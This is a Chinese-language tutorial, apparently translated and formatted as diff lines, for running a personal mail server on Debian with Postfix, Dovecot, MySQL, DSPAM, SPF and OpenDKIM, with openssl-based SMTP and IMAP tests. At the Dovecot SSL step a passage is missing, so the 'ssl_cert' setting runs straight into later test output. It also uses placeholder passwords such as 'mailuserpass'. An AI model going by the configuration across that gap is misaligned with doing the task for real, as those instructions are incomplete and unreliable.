+本文覆盖了Xavier和Drew的文章里所描述的所有功能,除了3个地方Drew有而我没有:邮件推送支持(我喜欢由我主动检查邮件,而其他时候都不会被打扰),邮件全文检索(我一直都没用过),以及使用加密方式存储邮件(我的邮件和数据还没那么重要到要把它们加密后再存到本地服务器上)。如果你需要这些功能,只需要按照Drew的文章里相应部分的说明做就好了,和本文的内容兼容。 + +和Xavier和Drew的成果比起来,本文有下面几个主要改进: + +- 根据我自己按Drew文章操作的经验以及原文的大量回复,修改了一些问题和文字错误。我也把本文所介绍的内容仔细检查了几遍,从头开始设定了几次服务器做重复验证以确保能正常工作。 +- 低维护:和Xavier的方式比起来,本文增加了在服务器上支持多个邮件域名。这样做是为了尽可能地减少服务器维护工作:基本上,要添加一个域名或用户,只需要往mysql数据库表里增加一行就好了(不需要增加过滤脚本,等等)。 +- 我增加了webmail。 +- 我增加了设定云服务器的部分,不仅能收发邮件还能管理文件,地址本/联系人(邮件地址,电话号码,生日,等等等),日程表和图片,供所有设备访问使用。 + +## 申请一个虚拟私人服务器,一个域名,并把它们配置好 ## + +让我们从设置基础设施开始:我们的虚拟私人主机和我们的域名。 + +我用过[1984.is][19]和[Linode][20]提供的虚拟私人主机(VPS),体验非常好。在本文中,我们将使用**Debian Wheezy**,这个在1984和Linode都提供了已经做好的映像文件可以直接布置到你的VPS上。我喜欢1984是因为它的服务器在冰岛,也是唯一使用可再生能源(地热和水力发电)的地方,目前还没有影响过气候变化,不像[大多数美国数据中心目前大多数依赖于烧煤的火力发电站][21]。而且,他们注重[民权,透明,自由][22]以及[免费软件][23]。 + +最好是在服务器上创建一个文件用来保存后面要用到的各种密码(用户账号、邮件账号、云帐号、数据库帐号)。当然最好是加密一下(可以用[GnuPG][24]),这样就算用来设定服务器的电脑被偷了或被入侵了,你的服务器就不会那么容易被攻击。 + +关于注册域名,我已经使用[grandi][25]的服务超过10年了,也很满意。在本文中,我们将开辟一个叫**jhausse.net**的域名。然后在上面增加一个叫**cloud.jhausse.net**的二级域名,并绑定MX纪录。在完成之后,设置比较短的纪录生存时间(TTL)比如300秒,这样你在设置服务器的时候,可以修改你的域并很快测试到结果。 + +最后,设置PTR纪录(反向DNS),这样IP地址可以反向映射回它的域名。如果你不理解前面这句话,看下[这篇文章][26]来获得相关背景知识。如果你使用Linode的服务,你可以在远程访问这一栏的控制面板里设置PTR纪录。如果是1984,联系一下技术支持来帮你搞定。 + +在服务器上,我们从添加一个普通用户开始,这样我们不用从头到尾一直用root账号。另外,用root登陆也需要额外多一层安全措施。 + + adduser roudy + +然后,在文件**/etc/ssh/sshd\_config**中设置 + + PermitRootLogin no + +然后重启ssh服务 + + service ssh reload + +然后,我们要修改服务器的主机名。编辑文件**/etc/hostname**,只有一行就是自己的主机名,我们这个例子中是 + + cloud + +然后,编辑ssh服务的公钥文件**/etc/ssh/ssh\_host\_rsa\_key.pub, /etc/ssh/ssh\_host\_dsa\_key.pub, /etc/ssh/ssh\_host\_ecdsa\_key.pub**,这样文件末尾可以反映你的主机名,比如**root@cloud**。然后重启系统保证主机名在系统的每个需要它的角落都生效了。 + + reboot + +我们将更新系统并移除不必要的服务以降低远程攻击的风险。 + + apt-get update + apt-get dist-upgrade + service exim4 stop + apt-get remove exim4 rpcbind + apt-get autoremove + apt-get install vim + +我喜欢使用vim远程编辑配置文件。打开vim 的自动语法高亮会很有帮助。添加下面这一行到**~/.vimrc**文件中。 + + syn on + +## 设置postfix和dovecot来收发电子邮件 ## + + apt-get install postfix postfix-mysql dovecot-core dovecot-imapd dovecot-mysql mysql-server dovecot-lmtpd postgrey + +在[Postfix][27]的配置菜单里,选择`Internet Site`,设置这个系统的邮件名称为**jhausse.net**。 + +现在开始添加一个数据库用于保存主机上管理的域名列表,和每个域名下的用户列表(同时也包括他们各自的密码),以及邮件别名列表(用于从一个地址往另一个地址转发邮件)。 + + mysqladmin -p create mailserver + mysql -p mailserver + mysql> GRANT SELECT ON mailserver.* TO 'mailuser'@'localhost' IDENTIFIED BY 'mailuserpass'; + mysql> FLUSH PRIVILEGES; + mysql> CREATE TABLE `virtual_domains` ( + `id` int(11) NOT NULL auto_increment, + `name` varchar(50) NOT NULL, + PRIMARY KEY (`id`) + ) ENGINE=InnoDB DEFAULT CHARSET=utf8; + mysql> CREATE TABLE `virtual_users` ( + `id` int(11) NOT NULL auto_increment, + `domain_id` int(11) NOT NULL, + `password` varchar(106) NOT NULL, + `email` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `email` (`email`), + FOREIGN KEY (domain_id) REFERENCES virtual_domains(id) ON DELETE CASCADE + ) ENGINE=InnoDB DEFAULT CHARSET=utf8; + mysql> CREATE TABLE `virtual_aliases` ( + `id` int(11) NOT NULL auto_increment, + `domain_id` int(11) NOT NULL, + `source` varchar(100) NOT NULL, + `destination` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + FOREIGN KEY (domain_id) REFERENCES virtual_domains(id) ON DELETE CASCADE + ) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +这里我们为**jhausse.net**域名提供邮件服务。如果还需要加入其他域名,也没问题。我们也会为每个域名设置一个邮件管理地址(postmaster),转寄给**roudy@jhausse.net**。 + + mysql> INSERT INTO virtual_domains (`name`) VALUES ('jhausse.net'); + mysql> INSERT INTO virtual_domains (`name`) VALUES ('otherdomain.net'); + mysql> INSERT INTO virtual_aliases (`domain_id`, `source`, `destination`) VALUES ('1', 'postmaster', 'roudy@jhausse.net'); + mysql> INSERT INTO virtual_aliases (`domain_id`, `source`, `destination`) VALUES ('2', 'postmaster', 'roudy@jhausse.net'); + +现在已经添加了一个本地邮件账号**roudy@jhausse.net**。首先,为它生成一个密码的哈希串: + + doveadm pw -s SHA512-CRYPT + +然后把哈希值加入到数据库中 + + mysql> INSERT INTO `mailserver`.`virtual_users` (`domain_id`, `password`, `email`) VALUES ('1', '$6$YOURPASSWORDHASH', 'roudy@jhausse.net'); + +现在我们的域名、别名和用户列表都设置好了,然后开始设置postfix(这是一个SMTP服务器,用来发送邮件)。把文件**/etc/postfix/main.cf**替换为下面的内容: + + myhostname = cloud.jhausse.net + myorigin = /etc/mailname + mydestination = localhost.localdomain, localhost + mynetworks_style = host + + # We disable relaying in the general case + smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination + # Requirements on servers that contact us: we verify the client is not a + # known spammer (reject_rbl_client) and use a graylist mechanism + # (postgrey) to help reducing spam (check_policy_service) + smtpd_client_restrictions = permit_mynetworks, reject_rbl_client zen.spamhaus.org, check_policy_service inet:127.0.0.1:10023 + disable_vrfy_command = yes + inet_interfaces = all + smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU) + biff = no + append_dot_mydomain = no + readme_directory = no + + # TLS parameters + smtpd_tls_cert_file=/etc/ssl/certs/cloud.crt + smtpd_tls_key_file=/etc/ssl/private/cloud.key + smtpd_use_tls=yes + smtpd_tls_auth_only = yes + smtp_tls_security_level=may + smtp_tls_loglevel = 1 + smtpd_tls_loglevel = 1 + smtpd_tls_received_header = yes + smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache + smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache + + # Delivery + alias_maps = hash:/etc/aliases + alias_database = hash:/etc/aliases + message_size_limit = 50000000 + recipient_delimiter = + + + # The next lines are useful to set up a backup MX for myfriendsdomain.org + # relay_domains = myfriendsdomain.org + # relay_recipient_maps = + + # Virtual domains + virtual_transport = lmtp:unix:private/dovecot-lmtp + virtual_mailbox_domains = mysql:/etc/postfix/mysql-virtual-mailbox-domains.cf + virtual_mailbox_maps = mysql:/etc/postfix/mysql-virtual-mailbox-maps.cf + virtual_alias_maps = mysql:/etc/postfix/mysql-virtual-alias-maps.cf + local_recipient_maps = $virtual_mailbox_maps + +现在我们要让postfix知道如何从我们设定的数据库里找出需要接收邮件的域名。建立一个新文件**/etc/postfix/mysql-virtual-mailbox-domains.cf**并添加以下内容: + + user = mailuser + password = mailuserpass + hosts = 127.0.0.1 + dbname = mailserver + query = SELECT 1 FROM virtual_domains WHERE name='%s' + +我们可以让postfix判断给定的电子邮件账号是否存在,创建文件**/etc/postfix/mysql-virtual-mailbox-maps.cf**并写入以下内容: + + user = mailuser + password = mailuserpass + hosts = 127.0.0.1 + dbname = mailserver + query = SELECT 1 FROM virtual_users WHERE email='%s' + +最后,postfix会根据文件**/etc/postfix/mysql-virtual-alias-maps.cf**的内容来查找邮件别名 + + user = mailuser + password = mailuserpass + hosts = 127.0.0.1 + dbname = mailserver + query = SELECT virtual_aliases.destination as destination FROM virtual_aliases, virtual_domains WHERE virtual_aliases.source='%u' AND virtual_aliases.domain_id = virtual_domains.id AND virtual_domains.name='%d' + +在配置好这些后,现在要测试一下postfix是否能正常查询数据库。我们可以用**postmap**命令测试: + + postmap -q jhausse.net mysql:/etc/postfix/mysql-virtual-mailbox-domains.cf + postmap -q roudy@jhausse.net mysql:/etc/postfix/mysql-virtual-mailbox-maps.cf + postmap -q postmaster@jhausse.net mysql:/etc/postfix/mysql-virtual-alias-maps.cf + postmap -q bob@jhausse.net mysql:/etc/postfix/mysql-virtual-alias-maps.cf + +如果一切都正常配置了的话,头两个查询应该输出1,第3个查询应该输出**roudy@jhausse.net**,而最后一个应该什么都不输出。 + +现在,让我们设置一下dovecot(一个IMAP服务程序,用来在我们的设备上从服务器获取收到的邮件)。编辑文件**/etc/dovecot/dovecot.conf**设置以下参数: + + # Enable installed protocol + # !include_try /usr/share/dovecot/protocols.d/*.protocol + protocols = imap lmtp + +这样将只打开imap(让我们可以获取邮件)和lmtp(postfix用来将收件箱里的邮件转给dovecot)。编辑**/etc/dovecot/conf.d/10-mail.conf**并设置以下参数: + + mail_location = maildir:/var/mail/%d/%n + [...] + mail_privileged_group = mail + [...] + first_valid_uid = 0 + +这样邮件将被保存到目录 /var/mail/domainname/username 下。注意下这几个选项散布在配置文件的不同位置,有时已经在那里写好了:我们只需要取消注释即可。文件里的其他设定选项,可以维持原样。在本文后面还有很多文件需要用同样的方式更新设置。在文件**/etc/dovecot/conf.d/10-auth.conf**里,设置以下参数: + + disable_plaintext_auth = yes + auth_mechanisms = plain + #!include auth-system.conf.ext + !include auth-sql.conf.ext + +在文件**/etc/dovecot/conf.d/auth-sql.conf.ext**里,设置以下参数: + + passdb { + driver = sql + args = /etc/dovecot/dovecot-sql.conf.ext + } + userdb { + driver = static + args = uid=mail gid=mail home=/var/mail/%d/%n + } + +这是告诉dovecot用户的邮件保存在目录/var/mail/domainname/username下,以及如何从我们刚建立的数据库里查找密码。现在我们还需要告诉dovecot具体如何使用数据库。这样需要把下面的内容加入**/etc/dovecot/dovecot-sql.conf.ext**文件: + + driver = mysql + connect = host=localhost dbname=mailserver user=mailuser password=mailuserpass + default_pass_scheme = SHA512-CRYPT + password_query = SELECT email as user, password FROM virtual_users WHERE email='%u'; + +我们现在修改一下配置文件的权限 + + chown -R mail:dovecot /etc/dovecot + chmod -R o-rwx /etc/dovecot + +基本差不多了!只是还需要再多编辑几个文件。在文件**/etc/dovecot/conf.d/10-master.conf**里,设置以下参数: + + service imap-login { + inet_listener imap { + #port = 143 + port = 0 + } + inet_listener imaps { + port = 993 + ssl = yes + } + } + + service pop3-login { + inet_listener pop3 { + #port = 110 + port = 0 + } + inet_listener pop3s { + #port = 995 + #ssl = yes + port = 0 + } + } + + service lmtp { + unix_listener /var/spool/postfix/private/dovecot-lmtp { + mode = 0666 + group = postfix + user = postfix + } + user = mail + } + + service auth { + unix_listener auth-userdb { + mode = 0600 + user = mail + #group = + } + + # Postfix smtp-auth + unix_listener /var/spool/postfix/private/auth { + mode = 0666 + user = postfix + group = postfix + } + + # Auth process is run as this user. + #user = $default_internal_user + user = dovecot + } + + service auth-worker { + user = mail + } + +注意下我们把除了imaps之外所有服务的端口都设置成了0,这样可以有效地禁止这些服务。然后,在文件**/etc/dovecot/conf.d/15-lda.conf**里,指定一个邮箱管理地址: + + postmaster_address = postmaster@jhausse.net + +最后但很重要的一点,我们为服务器需要生成一对公钥和私钥,可以同时用于dovecot和postfix: + + openssl req -new -newkey rsa:4096 -x509 -days 365 -nodes -out "/etc/ssl/certs/cloud.crt" -keyout "/etc/ssl/private/cloud.key" + +请确保你指定了服务器的完全限定域名(FQDN),在本文的例子里: + + Common Name (e.g. server FQDN or YOUR name) []:cloud.jhausse.net + +如果没有的话,我们的客户端会抱怨在SSL证书里的服务器名字和所连接的服务器名字不一致。我们将通过修改配置文件**/etc/dovecot/conf.d/10-ssl.conf**里的如下选项来告诉dovecot使用刚生成的密钥: + + ssl = required + ssl_cert = : Relay access denied + +这个没问题:如果服务器能接受这封邮件而不是返回如上的拒绝消息,那意味着我们架设的postfix是一个对全世界所有垃圾邮件都开放的中继,这将完全没法使用。除了'Relay access denied'消息,你也可能会收到这样的响应: + + 554 5.7.1 Service unavailable; Client host [87.68.61.119] blocked using zen.spamhaus.org; http://www.spamhaus.org/query/bl?ip=87.68.61.119 + +意思是你正尝试从一个被标记成垃圾邮件发送者的IP地址连接服务器。我在通过普通的因特网服务提供商(ISP)连接服务器时曾收到过这样的消息。要解决这个问题,可以试着从另一个主机发起连接,比如另外一个你可以SSH登录的主机。另外一种方式是,你可以修改postfix的**main.cf**配置文件,不要使用Spamhous的RBL,重启postfix服务,然后再检查上面的测试是否正常。不管用哪种方式,最重要的是你要确定一个能工作的,因为我们后面马上要测试其他功能。如果你选择了重新配置postfix不使用RBL,别忘了在完成本文后重新开启RBL并重启postfix,以避免收到一些不必要的垃圾邮件。(LCTT 译者注:在国内可以使用 CASA 的 RBL:cblplus.anti-spam.org.cn,参见:http://www.anti-spam.org.cn/ 。) + +现在,我们试一下往SMTP端口25发送一封有效的邮件,这是一般正常的邮件服务器用来彼此对话的方式: + + openssl s_client -connect cloud.jhausse.net:25 -starttls smtp + EHLO cloud.jhausse.net + MAIL FROM:youremail@domain.com + RCPT TO:roudy@jhausse.net + +服务器应该有这样的响应 + + Client host rejected: Greylisted, see http://postgrey.schweikert.ch/help/jhausse.net.html + +这意味着[postgrey][28]工作正常。postgrey做的是用临时错误拒绝未知发送者的邮件。邮件的技术规则是要求邮件服务器尝试重新发送邮件。在5分钟后,postgrey就会接收这封邮件。一般世界范围内遵守规则的邮件服务器都会尝试为我们重复投递邮件,但大多数垃圾邮件发送者不会这样做。所以,等上5分钟,再次通过上面的命令发送一次,然后检查postfix应该正常接收了邮件。 + +之后,我们检查一下我们可以通过IMAP和dovecot对话获取刚才发送的两封邮件。 + + openssl s_client -crlf -connect cloud.jhausse.net:993 + 1 login roudy@jhausse.net "mypassword" + 2 LIST "" "*" + 3 SELECT INBOX + 4 UID fetch 1:1 (UID RFC822.SIZE FLAGS BODY.PEEK[]) + 5 LOGOUT + +这里,你应该把*mypassword*替换为你自己为这个邮件账号设定的密码。如果能正常工作,基本上我们已经拥有一个能接收邮件的邮件服务器了,通过它我们可以在各种设备(PC/笔记本、平板、手机...)上收取邮件了。但是我们不能把邮件给它发送出去,除非我们自己从服务器发送。现在我们将让postfix为我们转发邮件,但是这个只有成功登录才可以,这是为了保证邮件是由服务器上的某个有效帐号发出来的。要做到这个,我们要打开一个特殊的,全程SSL连接的,SASL鉴权的邮件提交服务。在文件**/etc/postfix/master.cf**里设置下面的参数: + + submission inet n - - - - smtpd + -o syslog_name=postfix/submission + -o smtpd_tls_security_level=encrypt + -o smtpd_sasl_auth_enable=yes + -o smtpd_client_restrictions=permit_sasl_authenticated,reject + -o smtpd_sasl_type=dovecot + -o smtpd_sasl_path=private/auth + -o smtpd_sasl_security_options=noanonymous + -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject_non_fqdn_recipient,reject_unauth_destination + +然后重启postfix服务: + + service postfix reload + +现在,让我们试试从一台不同的机器连接这个服务,确定一下postfix现在能够正常中继我们自己的而不是其他任何人的邮件: + + openssl s_client -connect cloud.jhausse.net:587 -starttls smtp + EHLO cloud.jhausse.net + +注意一下服务器建议的'250-AUTH PLAIN'功能,在从端口25连接的时候不会出现。 + + MAIL FROM:asdf@jkl.net + rcpt to:bob@gmail.com + 554 5.7.1 : Relay access denied + QUIT + +这个没问题,postfix在不认识我们的时候是不会中继邮件的。所以,首先让我们先鉴定一下自己的身份。要这样做,我们首先需要生成一个鉴权字符串: + + echo -ne '\000roudy@jhausse.net\000mypassword'|base64 + +然后让我们尝试再次通过服务器发送邮件: + + openssl s_client -connect cloud.jhausse.net:587 -starttls smtp + EHLO cloud.jhausse.net + AUTH PLAIN DGplYW5AMTk4NGNsb3VQLm5ldAA4bmFmNGNvNG5jOA== + MAIL FROM:asdf@jkl.net + rcpt to:bob@gmail.com + +现在postfix应该能正常接收。最后完成这个测试,来检查一下我们的虚拟别名能正常工作,给postmaster@jhausse.net发送一封邮件然后确认一下它会被送到roudy@jhausse.net: + + telnet cloud.jhausse.net 25 + EHLO cloud.jhausse.net + MAIL FROM:youremail@domain.com + rcpt to:postmaster@jhausse.net + data + Subject: Virtual alias test + + Dear postmaster, + Long time no hear! I hope your MX is working smoothly and securely. + Yours sincerely, Roudy + . + QUIT + +让我们检查一下邮件是否被正常送到正确的收件箱了: + + openssl s_client -crlf -connect cloud.jhausse.net:993 + 1 login roudy@jhausse.net "mypassword" + 2 LIST "" "*" + 3 SELECT INBOX + * 2 EXISTS + * 2 RECENT + 4 LOGOUT + +到这里,我们已经拥有一个能正常工作的邮箱服务器了,能收发邮件。我们可以配置自己的设备来使用它。 + +PS:不要忘记再次[试试通过端口25往自己架设的服务器上的帐号发送邮件][29],来验证你已经没有被postgrey阻挡了。 + +## 阻止垃圾邮件进入你的收件箱 ## + +为了过滤垃圾邮件,我们已经使用了实时黑名单(RBL)和灰名单(postgrey)。现在我们将增加自适应垃圾邮件过滤来让我们的垃圾邮件过滤能力提高一个等级。这意味着我们将为我们的邮件服务器增加人工智能,这样它就能从经验中学习哪些邮件是垃圾哪些不是。我们将使用[dspam][30]来实现这个功能。 + + apt-get install dspam dovecot-antispam postfix-pcre dovecot-sieve + +dovecot-antispam是一个安装包,可以在我们发现有邮件被dspam误分类了之后让dovecot重新更新垃圾邮件过滤器。基本上,我们所需要做的就只是把邮件放进或拿出垃圾箱。dovecot-antispam将负责调用dspam来更新过滤器。至于postfix-pcre和dovecot-sieve,我们将分别用它们来把接收的邮件传递给垃圾邮件过滤器以及自动把垃圾邮件放入用户的垃圾箱。 + +在配置文件**/etc/dspam/dspam.conf**里,为以下参数设置相应的值: + + TrustedDeliveryAgent "/usr/sbin/sendmail" + UntrustedDeliveryAgent "/usr/lib/dovecot/deliver -d %u" + Tokenizer osb + IgnoreHeader X-Spam-Status + IgnoreHeader X-Spam-Scanned + IgnoreHeader X-Virus-Scanner-Result + IgnoreHeader X-Virus-Scanned + IgnoreHeader X-DKIM + IgnoreHeader DKIM-Signature + IgnoreHeader DomainKey-Signature + IgnoreHeader X-Google-Dkim-Signature + ParseToHeaders on + ChangeModeOnParse off + ChangeUserOnParse full + ServerPID /var/run/dspam/dspam.pid + ServerDomainSocketPath "/var/run/dspam/dspam.sock" + ClientHost /var/run/dspam/dspam.sock + +然后,在配置文件**/etc/dspam/default.prefs**里,把以下参数改为: + + spamAction=deliver # { quarantine | tag | deliver } -> default:quarantine + signatureLocation=headers # { message | headers } -> default:message + showFactors=on + +现在我们需要把dspam连接到postfix和dovecot上,在配置文件**/etc/postfix/master.cf**最后添加这样两行: + + dspam unix - n n - 10 pipe + flags=Ru user=dspam argv=/usr/bin/dspam --deliver=innocent,spam --user $recipient -i -f $sender -- $recipient + dovecot unix - n n - - pipe + flags=DRhu user=mail:mail argv=/usr/lib/dovecot/deliver -f ${sender} -d ${recipient} + +现在我们将告诉postfix通过dspam来过滤所有提交给服务器端口25(一般的SMTP通信)的新邮件,除非该邮件是从服务器本身发出(permit\_mynetworks)。注意下我们通过SASL鉴权提交给postfix的邮件不会通过dspam过滤,因为我们在前面部分里为这种方式设定了独立的提交服务。编辑文件**/etc/postfix/main.cf**将选项**smtpd\_client\_restrictions**改为如下内容: + + smtpd_client_restrictions = permit_mynetworks, reject_rbl_client zen.spamhaus.org, check_policy_service inet:127.0.0.1:10023, check_client_access pcre:/etc/postfix/dspam_filter_access + +在文件末尾,还需要增加: + + # For DSPAM, only scan one mail at a time + dspam_destination_recipient_limit = 1 + +现在我们需要指定我们定义的过滤器。基本上,我们将告诉postfix把所有邮件(如下用 /./ 代表)通过unix套接字发给dspam。创建一个新文件**/etc/postfix/dspam\_filter\_access**并把下面一行写进去: + + /./ FILTER dspam:unix:/run/dspam/dspam.sock + +这是postfix部分的配置。现在让我们为dovecot设置垃圾过滤。在文件**/etc/dovecot/conf.d/20-imap.conf**里,修改**imap mail\_plugin**插件参数为下面的方式: + + mail_plugins = $mail_plugins antispam + +并为lmtp增加一个部分: + + protocol lmtp { + # Space separated list of plugins to load (default is global mail_plugins). + mail_plugins = $mail_plugins sieve + } + +我们现在设置dovecot-antispam插件。编辑文件**/etc/dovecot/conf.d/90-plugin.conf**并把以下内容添加到插件部分: + + plugin { + ... + # Antispam (DSPAM) + antispam_backend = dspam + antispam_allow_append_to_spam = YES + antispam_spam = Junk;Spam + antispam_trash = Trash;trash + antispam_signature = X-DSPAM-Signature + antispam_signature_missing = error + antispam_dspam_binary = /usr/bin/dspam + antispam_dspam_args = --user;%u;--deliver=;--source=error + antispam_dspam_spam = --class=spam + antispam_dspam_notspam = --class=innocent + antispam_dspam_result_header = X-DSPAM-Result + } + +然后在文件**/etc/dovecot/conf.d/90-sieve.conf**里指定默认的sieve脚本,这个将对服务器上所有用户有效: + + sieve_default = /etc/dovecot/default.sieve + +什么是sieve以及为什么我们需要为所有用户设置一个默认脚本?sieve可以在IMAP服务器上为我们自动处理任务。在我们的例子里,我们想让所有被确定为垃圾的邮件移到垃圾箱而不是收件箱里。我们希望这是服务器上所有用户的默认行为;这是为什么我们把这个脚本设为默认脚本。现在让我们来创建这个脚本,建立一个新文件**/etc/dovecot/default.sieve**并写入以下内容: + + require ["regex", "fileinto", "imap4flags"]; + # Catch mail tagged as Spam, except Spam retrained and delivered to the mailbox + if allof (header :regex "X-DSPAM-Result" "^(Spam|Virus|Bl[ao]cklisted)$", + not header :contains "X-DSPAM-Reclassified" "Innocent") { + # Mark as read + # setflag "\\Seen"; + # Move into the Junk folder + fileinto "Junk"; + # Stop processing here + stop; + } + +现在我们需要编译这个脚本好让dovecot能运行它。我们也需要给它合适的权限。 + + cd /etc/dovecot + sievec . + chown mail.dovecot default.siev* + chmod 0640 default.sieve + chmod 0750 default.svbin + +最后,我们需要修改dspam需要读取的两个postfix配置文件的权限: + + chmod 0644 /etc/postfix/dynamicmaps.cf /etc/postfix/main.cf + +就这些!让我们重启dovecot和postfix服务 + + service dovecot restart + service postfix restart + +然后通过从远程主机(比如我们用来设定服务器的电脑)连接服务器来测试一下反垃圾邮件: + + openssl s_client -connect cloud.jhausse.net:25 -starttls smtp + EHLO cloud.jhausse.net + MAIL FROM:youremail@domain.com + rcpt to:roudy@jhausse.net + DATA + Subject: DSPAM test + + Hi Roudy, how'd you like to eat some ham tonight? Yours, J + . + QUIT + +让我们检查一下邮件是否已经送到: + + openssl s_client -crlf -connect cloud.jhausse.net:993 + 1 login roudy@jhausse.net "mypassword" + 2 LIST "" "*" + 3 SELECT INBOX + 4 UID fetch 3:3 (UID RFC822.SIZE FLAGS BODY.PEEK[]) + +这个应该返回SPAM为邮件增加了一组标记的数据,看上去像这样: + + X-DSPAM-Result: Innocent + X-DSPAM-Processed: Sun Oct 5 16:25:48 2014 + X-DSPAM-Confidence: 1.0000 + X-DSPAM-Probability: 0.0023 + X-DSPAM-Signature: 5431710c178911166011737 + X-DSPAM-Factors: 27, + Received*Postfix+with, 0.40000, + Received*with+#+id, 0.40000, + like+#+#+#+ham, 0.40000, + some+#+tonight, 0.40000, + Received*certificate+requested, 0.40000, + Received*client+certificate, 0.40000, + Received*for+roudy, 0.40000, + Received*Sun+#+#+#+16, 0.40000, + Received*Sun+#+Oct, 0.40000, + Received*roudy+#+#+#+Oct, 0.40000, + eat+some, 0.40000, + Received*5+#+#+16, 0.40000, + Received*cloud.jhausse.net+#+#+#+id, 0.40000, + Roudy+#+#+#+to, 0.40000, + Received*Oct+#+16, 0.40000, + to+#+#+ham, 0.40000, + Received*No+#+#+requested, 0.40000, + Received*jhausse.net+#+#+Oct, 0.40000, + Received*256+256, 0.40000, + like+#+#+some, 0.40000, + Received*ESMTPS+id, 0.40000, + how'd+#+#+to, 0.40000, + tonight+Yours, 0.40000, + Received*with+cipher, 0.40000 + 5 LOGOUT + +很好!你现在已经为你服务器上的用户配置好自适应垃圾邮件过滤。当然,每个用户将需要在开始的几周里培训过滤器。要标记一则信息为垃圾,只需要在你的任意设备(电脑,平板,手机)上将它移动到叫“垃圾箱”或“废纸篓”的目录里。否则它将被标记为有用。 + +## 确保你发出的邮件能通过垃圾邮件过滤器 ## + +这个部分我们的目标是让我们的邮件服务器能尽量干净地出现在世界上,并让垃圾邮件发送者们更难以我们的名义发邮件。作为附加效果,这也有助于让我们的邮件能通过其他邮件服务器的垃圾邮件过滤器。 + +### 发送者策略框架(SPF) ### + +发送者策略框架(SPF)是你添加到自己服务器区域里的一份记录,声明了整个因特网上哪些邮件服务器能以你的域名发邮件。设置非常简单,使用[microsoft.com][31]上的SPF向导来生成你的SPF记录,然后作为一个TXT记录添加到自己的服务器区域里。看上去像这样: + + jhausse.net. 300 IN TXT v=spf1 mx mx:cloud.jhausse.net -all + +### 反向PTR ### + +我们[之前][32]在本文里讨论过这个问题,建议你为自己的服务器正确地设置反向DNS,这样对服务器IP地址的反向查询能返回你服务器的实际名字。 + +### OpenDKIM ### + +当我们激活[OpenDKIM][33]后,postfix会用密钥为每封发出去的邮件签名。然后我们将把这个密钥存储在DNS域中。这样的话,世界上任意一个邮件服务器都能够检验邮件是否真的是我们发出的,或是由垃圾邮件发送者伪造的。让我们先安装opendkim: + + apt-get install opendkim opendkim-tools + +然后按如下方式编辑**/etc/opendkim.conf**文件的配置: + + ## + ## opendkim.conf -- configuration file for OpenDKIM filter + ## + Canonicalization relaxed/relaxed + ExternalIgnoreList refile:/etc/opendkim/TrustedHosts + InternalHosts refile:/etc/opendkim/TrustedHosts + KeyTable refile:/etc/opendkim/KeyTable + LogWhy Yes + MinimumKeyBits 1024 + Mode sv + PidFile /var/run/opendkim/opendkim.pid + SigningTable refile:/etc/opendkim/SigningTable + Socket inet:8891@localhost + Syslog Yes + SyslogSuccess Yes + TemporaryDirectory /var/tmp + UMask 022 + UserID opendkim:opendkim + +我们还需要几个额外的文件,需保存在目录**/etc/opendkim**里: + + mkdir -pv /etc/opendkim/ + cd /etc/opendkim/ + +让我们建立新文件**/etc/opendkim/TrustedHosts**并写入以下内容 + + 127.0.0.1 + +建立新文件**/etc/opendkim/KeyTable**并写入以下内容 + + cloudkey jhausse.net:mail:/etc/opendkim/mail.private + +这会告诉OpenDKIM我们希望使用一个名叫'cloudkey'的加密密钥,它的内容在文件/etc/opendkim/mail.private里。我们建立另一个名叫**/etc/opendkim/SigningTable**的文件然后写入下面这一行: + + *@jhausse.net cloudkey + +这会告诉OpenDKIM每封从jhausse.net域发出的邮件都应该用'cloudkey'密钥签名。如果我们还有其他域希望也能签名,我们也可以在这里添加。 + +下一步是生成密钥并修改OpenDKIM配置文件的权限。 + + opendkim-genkey -r -s mail [-t] + chown -Rv opendkim:opendkim /etc/opendkim + chmod 0600 /etc/opendkim/* + chmod 0700 /etc/opendkim + +一开始,最好使用-t开关,这样会通知其他邮件服务器你只是在测试模式下,这样他们就不会丢弃基于你的OpenDKIM签名的邮件(目前来说)。你可以从mail.txt文件里看到OpenDKIM密钥: + + cat mail.txt + +然后把它作为一个TXT记录添加到区域文件里,应该是类似这样的 + + mail._domainkey.cloud1984.net. 300 IN TXT v=DKIM1; k=rsa; p=MIGfMA0GCSqG... + +最后,我们需要告诉postfix来为发出的邮件签名。在文件/etc/postfix/main.cf末尾,添加: + + # Now for OpenDKIM: we'll sign all outgoing emails + smtpd_milters = inet:127.0.0.1:8891 + non_smtpd_milters = $smtpd_milters + milter_default_action = accept + +然后重启相关服务: + + service postfix reload + service opendkim restart + +现在让我们测试一下是否能找到我们的OpenDKIM公钥并和私钥匹配: + + opendkim-testkey -d jhausse.net -s mail -k mail.private -vvv + +这个应该返回: + + opendkim-testkey: key OK + +这个你可能需要等一会直到域名服务器重新加载该区域(对于Linode,每15分钟会更新一次)。你可以用**dig**来检查区域是否已经重新加载。 + +如果这个没问题,让我们测试一下其他服务器能验证我们的OpenDKIM签名和SPF记录。要做这个,我们可以用[Brandon Checkett的邮件测试系统][34]。发送一封邮件到[Brandon的网页][34]上提供的测试地址,我们可以在服务器上运行下面的命令 + + mail -s CloudCheck ihAdmTBmUH@www.brandonchecketts.com + +在Brandon的网页上,我们应该可以在'DKIM Signature'部分里看到**result = pass**的文字,以及在'SPF Information'部分看到**Result: pass**的文字。如果我们的邮件通过这个测试,只要不加-t开关重新生成OpenDKIM密钥,上传新的密钥到区域文件里,然后重新测试检查是否仍然可以通过这些测试。如果可以的话,恭喜!你已经在你的服务器上成功配置好OpenDKIM和SPF了! + +## 使用Owncloud提供日历,联系人,文件服务并通过Roundcube配置网页邮件 ## + +既然我们已经拥有了一流的邮件服务器,让我们再为它增加在云上保存通讯录,日程表和文件的能力。这些是[Owncloud][35]所提供的非常赞的服务。在这个弄好后,我们还会设置一个网页邮件,这样就算你没带任何电子设备出去旅行时,或者说在你的手机或笔记本没电的情况下,也可以通过网吧来检查邮件。 + 